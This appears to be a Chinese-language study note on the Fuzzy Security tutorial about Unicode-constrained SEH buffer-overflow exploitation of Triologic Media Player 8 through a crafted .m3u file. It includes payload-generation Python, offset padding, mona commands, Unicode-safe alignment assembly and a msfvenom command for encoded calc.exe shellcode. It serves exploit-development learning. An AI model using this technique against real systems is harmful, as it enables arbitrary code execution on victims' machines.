---
# System prepended metadata

title: Windows Exploit Development - Unicode

---

# Windows Exploit Development - Unicode
Fuzzy Security 第5部分教學，探討如果遇到 ascii 轉成 unicode 要如何 exploit 

## Unicode
一開始電腦使用者用所謂的 ascii 在英文表達上是沒有問題的，但是有其他國家文字顯然不可能用區區 ascii 就能表示，因此有了 unicode 編碼(萬國碼)， unicode 跟 ascii 最大的區別就是 unicode 用兩個 bytes 表達一個字

為了讓其他非英語國家的用戶有更好的體驗，有些程式會將輸入轉換成 unicode 方便那些用戶辨識文字，所以原本 exploit 的 ascii 就會轉成 unicode 然後精心設計好的一些 payload 轉成 unicode ，那顯然就不會出現想要的結果

## 環境
target 採用 [Triologic Media Player 8](https://www.exploit-db.com/apps/4e68d370d54180157bf1b578407848f4-triomp8setup.exe)
其於照舊

## 流程
一開始要先生成一個 m3u ，一樣用 python 完成:
```python
filename = 'evil.m3u'
payload = '...' #cyclic
with open(filename, 'w') as f:
    f.write(payload)
```

打開 player 並用 immunity attach 後再打開 evil.m3u:
![](https://i.imgur.com/SGWcGnc.png)
> 因為他有附圖所以我就直接拿來用了
> 
第一個 exception 過去後，先用 mona 找 offset:
`!mona findmsp`
但不知道是不是 unicode 的關系，好像 immunity 都會掛在 searching......(教學和我本人的都掛掉了)

不過最後還是有給一個近似的 offset 出來，這邊用不同 pattern 驗證一下:
```python
payload = '\x90'*536 + 'C'*2 + 'D'*2 + 'A'*4466
```
這邊用 C*2 而不是4個 C 的原因是 unicode 接收到 ascii 後會直接在前面加上 \x00 ，所以要填滿4 byte 可以只填兩個就好，填四個還是會變成 8 個

這邊觀察 SEH 被蓋成多少要透過 immunity 看 SEH chain 的情形:
`ALT + s`

unicode 下， nseh 的指令不能簡單的往回跳，會被 unicode 轉換破壞掉，因此要選一些被轉換過也沒差的指令:
```asm
inc ecx
add byte ptr ds:[ecx], dh
```
這邊 ecx 之所以可以，大概是因為作者看過 ecx 保存的值是指向某可寫區域的地址，而該區域我們也用不到，故可以直接拿來利用而不會再發生 exception

搞定 nseh 接下來換 seh ， seh 的問題點在於不能像以往隨便找個 pop pop ret 就完事，必須找一個 ascii 經過轉換成 unicode 還能正確的地址，一樣 mona 可以幫你搞定:
`!mona seh -cp unicode`
這邊又卡了好一下，最後出現幾個看起來象是 unicode 的地址，作者說他測了11個只有 1 個是符合的，我等下測測看

再來就是放 shellcode ，因為 unicode 所以必須直接了當的跳到 shellcode 上才不會中途遇到奇怪的 unicode 無法執行，方法是:
1. 找到離 buffer 比較近的 reg:
    找尋方法是透過 stack 上的殘留值觀察 padding 的地址，再跟 reg 比對看誰比較近，我的電腦上 ebx, ebp, esp 都可以，這邊選 ebp
2. 將該 reg 透過加減靠近 buffer
3. 找一個 reg B 將運算結果給 B
4. 透過 pop 將 eip 送到 shellcode 上

作者說他直接用算的然後跳過去結果不可行，不過由於 padding 很大，多試幾個 byte 總會找到成功的

上述的動作由以下 code 完成，因為 unicode 所以會增加很多無用的指令方便對齊後不會影響這些操作:
```asm
push ebp
add byte ptr ds:[ecx], dh
pop eax
add byte ptr ds:[ecx], dh
add eax, 0x11002000
add byte ptr ds:[ecx], dh
sub eax, 11001700
add byte ptr ds:[ecx], dh
push eax
ret
```
跳轉過去後多塞幾個 padding 讓他可以直接抵達 shellcode (剛剛的操作只有找到 buffer 位置並跳過去)， padding 可以用:
```asm
pop ecx
add byte ptr ds:[ECX], al
```
上面的 code 即為 \x58

shellcode 的部分一樣要能通過 unicode 的考驗，不過 msfvenom 都幫我們做好了:
`msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -e x86/unicode_mixed BufferRegister=EAX -f python`
其中 -e 即為 encoder ，可以將 shellcode encode 成就算轉成 unicode 也能好好運作的 shellcode ，不過要特別注意他需要提供指向 buffer 的 register ，這邊根據我們寫的指向 buffer 最後跳轉靠 eax 所以填上 eax

之後將他放到 exploit 生成 evil.m3u 給 player 打開就會彈出計算機了
